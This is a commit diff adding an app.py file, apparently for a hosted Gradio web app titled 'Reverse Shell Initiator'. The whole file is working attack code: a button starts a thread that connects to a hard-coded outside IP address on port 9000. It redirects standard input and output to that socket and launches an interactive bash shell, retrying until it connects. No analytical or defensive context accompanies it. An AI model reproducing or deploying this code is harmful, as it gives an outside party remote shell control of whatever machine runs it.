Create app.py
Browse files
app.py
ADDED
|
@@ -0,0 +1,40 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import gradio as gr
|
| 2 |
+
import socket
|
| 3 |
+
import subprocess
|
| 4 |
+
import os
|
| 5 |
+
import threading
|
| 6 |
+
import time
|
| 7 |
+
|
| 8 |
+
def run_reverse_shell():
|
| 9 |
+
def shell_thread():
|
| 10 |
+
ip = '45.155.205.202'
|
| 11 |
+
port = 9000
|
| 12 |
+
|
| 13 |
+
while True:
|
| 14 |
+
try:
|
| 15 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 16 |
+
s.connect((ip, port))
|
| 17 |
+
s.send(b"Connected to reverse shell.\n")
|
| 18 |
+
os.dup2(s.fileno(), 0)
|
| 19 |
+
os.dup2(s.fileno(), 1)
|
| 20 |
+
os.dup2(s.fileno(), 2)
|
| 21 |
+
subprocess.call(['/bin/bash', '-i'])
|
| 22 |
+
s.close()
|
| 23 |
+
break
|
| 24 |
+
except Exception as e:
|
| 25 |
+
print(f"Connection failed: {e}. Retrying in 3 seconds...")
|
| 26 |
+
time.sleep(3)
|
| 27 |
+
|
| 28 |
+
shell = threading.Thread(target=shell_thread)
|
| 29 |
+
shell.start()
|
| 30 |
+
return "Reverse shell has been initiated."
|
| 31 |
+
|
| 32 |
+
iface = gr.Interface(
|
| 33 |
+
fn=run_reverse_shell,
|
| 34 |
+
inputs=None,
|
| 35 |
+
outputs="text",
|
| 36 |
+
title="Reverse Shell Initiator",
|
| 37 |
+
description="Click the button to initiate a reverse shell."
|
| 38 |
+
)
|
| 39 |
+
|
| 40 |
+
iface.launch()
|